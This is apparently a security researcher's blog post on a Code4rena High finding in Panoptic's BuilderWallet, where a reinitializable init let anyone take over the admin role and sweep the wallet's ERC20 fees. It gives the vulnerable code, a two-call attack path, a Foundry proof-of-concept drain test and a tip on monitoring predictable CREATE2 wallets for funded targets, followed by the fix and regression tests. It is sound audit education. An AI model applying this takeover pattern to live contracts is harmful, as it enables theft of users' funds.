DEV Community

Daniel
Daniel

Posted on • Edited on

How a Reinitializable BuilderWallet Let Anyone Steal Builder Fees

Initialization bugs are dangerous because deployment can look completely successful while the contract remains open to a later takeover.

That was the issue in Panoptic's BuilderWallet.

Each wallet stored a privileged builderAdmin. That address alone could call sweep, the function used to withdraw ERC20 balances accumulated by the wallet.

The factory deployed each wallet through CREATE2 and immediately initialized the intended builder admin. The initial setup worked.

The problem was that initialization never became final.

init had no one-time guard. Any account could call it again, replace the legitimate admin, and then pass the normal authorization check inside sweep.

An attacker could wait until builder fees accumulated, take over the wallet, and transfer its complete ERC20 balance.

Code4rena included the issue as H-01 in the final Panoptic: Next Core report and kept it at High severity. My submission was listed among the researchers who found it, but my contest dashboard showed no earnings.

The public finding is available in the Code4rena final report.

The intended wallet lifecycle

The system used deterministic builder wallets as recipients for builder fee balances.

The expected lifecycle was:

Deploy the wallet

Assign the builder admin

Accumulate ERC20 builder fees

Allow the builder to sweep those fees
Enter fullscreen mode Exit fullscreen mode

BuilderFactory.deployBuilder created the wallet and then called init with the intended admin:

function deployBuilder(
    uint48 builderCode,
    address builderAdmin
)
    external
    onlyOwner
    returns (address wallet)
{
    bytes32 salt =
        bytes32(uint256(builderCode));

    bytes memory initCode =
        abi.encodePacked(
            type(BuilderWallet).creationCode,
            abi.encode(address(this))
        );

    wallet =
        Create2Lib.deploy(
            0,
            salt,
            initCode
        );

    BuilderWallet(wallet)
        .init(builderAdmin);
}
Enter fullscreen mode Exit fullscreen mode

Source: RiskEngine.sol

The factory performed the initial call in the same transaction as deployment.

That prevented an attacker from inserting a transaction between wallet creation and the factory's first initialization.

It did not prevent a later reinitialization.

The initializer never closed

The vulnerable function was:

function init(
    address _builderAdmin
) external {
    builderAdmin =
        _builderAdmin;
}
Enter fullscreen mode Exit fullscreen mode

Source: RiskEngine.sol

The assignment correctly wrote _builderAdmin into storage.

The vulnerability was not a failed assignment.

The vulnerability was the absence of a terminal initialized state.

The function did not require:

builderAdmin == address(0)
Enter fullscreen mode Exit fullscreen mode

It also did not authenticate the caller.

The state could therefore change repeatedly:

Initial builderAdmin
address(0)

Factory calls init(builder)

Stored builderAdmin
builder

Attacker calls init(attacker)

Stored builderAdmin
attacker

Another account calls init(other)

Stored builderAdmin
other
Enter fullscreen mode Exit fullscreen mode

The admin role remained publicly replaceable for the lifetime of the wallet.

Why the successful factory call did not make the wallet safe

Calling an initializer during deployment is safe only when the initializer cannot be called again.

Here, the factory successfully assigned the legitimate builder.

The wallet ended the deployment transaction in the expected state:

builderAdmin
Legitimate builder
Enter fullscreen mode Exit fullscreen mode

But the next transaction could replace it:

builderAdmin
Attacker
Enter fullscreen mode Exit fullscreen mode

The attacker did not need to front-run deployment.

They could wait until the wallet held a valuable ERC20 balance and take over only when theft became profitable.

sweep trusted the replaceable role

The withdrawal path checked only whether the caller matched the stored admin:

function sweep(
    address token,
    address to
) external {
    if (
        msg.sender != builderAdmin
    ) {
        revert Errors.NotBuilder();
    }

    uint256 balance =
        IERC20(token)
            .balanceOf(address(this));

    if (balance == 0) return;

    bool success =
        IERC20(token)
            .transfer(to, balance);

    if (!success) {
        revert Errors.TransferFailed(
            token,
            address(this),
            balance,
            balance
        );
    }
}
Enter fullscreen mode Exit fullscreen mode

Source: RiskEngine.sol

The authorization check inside sweep was internally consistent.

The failure happened one step earlier: an arbitrary account could control the value against which that check was evaluated.

After calling init(attacker), the attacker did not bypass sweep.

They became the address that sweep considered authorized.

The complete attack path

The exploit required two public calls after funds had accumulated:

1. The factory deploys a BuilderWallet

2. The factory initializes the legitimate builder admin

3. ERC20 builder fees accumulate in the wallet

4. The attacker calls init(attacker)

5. builderAdmin is overwritten

6. The attacker calls sweep(token, attacker)

7. The entire ERC20 balance is transferred to the attacker
Enter fullscreen mode Exit fullscreen mode

The attacker did not require:

  1. Factory ownership

  2. Builder credentials

  3. Governance control

  4. A forged signature

  5. Reentrancy

  6. Oracle manipulation

  7. A deployment race

The wallet exposed the role replacement directly.

A corrected Foundry proof

The important proof condition is that the factory's initialization succeeds first.

The attacker then overwrites that valid admin and drains the wallet:

function test_AttackerReinitializesAndSweeps()
    external
{
    uint48 builderCode = 1;

    address legitimateBuilder =
        address(0xBEEF);

    address attacker =
        address(0xBAD);

    address walletAddress =
        factory.deployBuilder(
            builderCode,
            legitimateBuilder
        );

    BuilderWallet wallet =
        BuilderWallet(walletAddress);

    assertEq(
        wallet.builderAdmin(),
        legitimateBuilder
    );

    uint256 amount = 100e18;

    token.mint(
        walletAddress,
        amount
    );

    vm.prank(attacker);
    wallet.init(attacker);

    assertEq(
        wallet.builderAdmin(),
        attacker
    );

    vm.prank(attacker);
    wallet.sweep(
        address(token),
        attacker
    );

    assertEq(
        token.balanceOf(walletAddress),
        0
    );

    assertEq(
        token.balanceOf(attacker),
        amount
    );
}
Enter fullscreen mode Exit fullscreen mode

This demonstrates:

The factory initialized the intended builder
YES

The attacker replaced that builder
YES

The attacker passed the normal sweep check
YES

The attacker received the complete ERC20 balance
YES
Enter fullscreen mode Exit fullscreen mode

Why deterministic deployment did not help

CREATE2 made wallet addresses predictable from the factory, salt, and init code.

That predictability was useful because the protocol could determine a builder fee destination in advance.

It did not protect mutable authorization state.

A predictable address can even make monitoring easier:

Derive builder wallet addresses

Watch for valuable token balances

Reinitialize a funded wallet

Sweep its assets
Enter fullscreen mode Exit fullscreen mode

The security boundary still depended on making init final.

The immutable factory did not enforce initialization

BuilderWallet stored its deploying factory as an immutable address:

address public immutable FACTORY;
Enter fullscreen mode Exit fullscreen mode

But the vulnerable init function did not use FACTORY.

This illustrates a broader audit lesson:

A trusted address stored in the contract does not create access control unless privileged functions enforce it.

In this design, factory-only initialization would have been a valid defense-in-depth measure.

However, because deployment and the factory's initial init call occurred atomically in one transaction, the minimum accepted correction was to prevent every subsequent initialization.

Why High severity was appropriate

The impact was direct theft of ERC20 balances held by builder wallets.

Once a wallet was funded, an unprivileged attacker could replace its admin and transfer the complete balance to any address.

The risk profile was:

Affected assets
ERC20 balances held by BuilderWallet

Attacker privileges
None

Maximum loss per wallet
Complete wallet balance

Required calls after funding
Two

External dependency
None
Enter fullscreen mode Exit fullscreen mode

The Code4rena final report described the impact as direct theft of all ERC20 balances held by any builder wallet, including protocol distributed fees and shares.

The finding remained High in the final results.

What the bug was not

The public audited implementation used _builderAdmin:

function init(
    address _builderAdmin
) external {
    builderAdmin =
        _builderAdmin;
}
Enter fullscreen mode Exit fullscreen mode

Therefore, the assignment did write to storage.

A different implementation using:

function init(
    address builderAdmin
) external {
    builderAdmin =
        builderAdmin;
}
Enter fullscreen mode Exit fullscreen mode

would contain parameter shadowing and fail to initialize storage.

That was not the accepted Panoptic issue.

Renaming the parameter would not have fixed the real vulnerability.

The actual problem was unrestricted repeated initialization.

The implemented mitigation

Panoptic fixed the finding by making initialization one time and rejecting the zero address:

function init(
    address _builderAdmin
) external {
    if (
        builderAdmin != address(0)
    ) {
        revert Errors.AlreadyInitialized();
    }

    if (
        _builderAdmin == address(0)
    ) {
        revert Errors.ZeroAddress();
    }

    builderAdmin =
        _builderAdmin;
}
Enter fullscreen mode Exit fullscreen mode

The mitigation also introduced a separate admin rotation function restricted to the current builder admin:

function setBuilderAdmin(
    address newAdmin
) external {
    if (
        msg.sender != builderAdmin
    ) {
        revert Errors.NotBuilder();
    }

    if (
        newAdmin == address(0)
    ) {
        revert Errors.ZeroAddress();
    }

    builderAdmin =
        newAdmin;
}
Enter fullscreen mode Exit fullscreen mode

The mitigation was reviewed and confirmed in commit 249fb90.

This preserves deliberate admin rotation without leaving the initializer publicly reusable.

Optional defense in depth

The one time guard closes the accepted exploit because the factory initializes the wallet atomically during deployment.

The protocol could additionally require:

if (
    msg.sender != FACTORY
) {
    revert Errors.NotFactory();
}
Enter fullscreen mode Exit fullscreen mode

That would bind the first initialization to the intended deployer.

It is useful defense in depth, particularly if wallets can ever be deployed outside the standard factory flow.

The essential invariant remains that a successful initialization cannot be repeated.

Required regression tests

The mitigation review added tests for repeated initialization, zero address rejection, and authorized admin rotation.

A complete suite should preserve these outcomes:

Factory initializes a fresh wallet
SUCCEEDS

Any account calls init after initialization
REVERTS

Initialization with the zero address
REVERTS

Current builder changes the admin
SUCCEEDS

Unrelated account changes the admin
REVERTS

Configured builder calls sweep
SUCCEEDS

Unrelated account calls sweep
REVERTS
Enter fullscreen mode Exit fullscreen mode

A funded wallet should remain under the control of the legitimate admin throughout every negative test.

Broader audit lessons

Successful initialization is not final initialization

A deployment can call init successfully and still remain vulnerable.

Initialization needs a terminal state.

Review role assignment before role enforcement

sweep checked the stored admin correctly.

That check was still unsafe because anyone could replace the stored admin.

Authorization review must trace both:

Who can exercise the role

Who can assign or replace the role
Enter fullscreen mode Exit fullscreen mode

Atomic setup does not protect future calls

Deploying and initializing in one transaction prevents front running during setup.

It does not protect an initializer that remains callable afterward.

Deterministic addresses increase the value of monitoring

Predictable wallets make legitimate fee routing easier.

They also make it easier to identify funded targets if authorization is weak.

Always test the second initialization

Initializer tests often verify only that the first call succeeds.

The critical negative test is:

Can another account call it again?
Enter fullscreen mode Exit fullscreen mode

Conclusion

Panoptic's factory deployed each BuilderWallet and correctly assigned the intended builder admin.

The vulnerability was that initialization never became final.

Any account could later call:

wallet.init(attacker);
Enter fullscreen mode Exit fullscreen mode

replace the legitimate admin, and then use the normal withdrawal path:

wallet.sweep(token, attacker);
Enter fullscreen mode Exit fullscreen mode

to transfer the entire ERC20 balance.

Code4rena included the issue as H-01, kept it at High severity, and confirmed Panoptic's mitigation.

The engineering invariant is simple:

A privileged initializer must become permanently unavailable after the first successful initialization.

Top comments (0)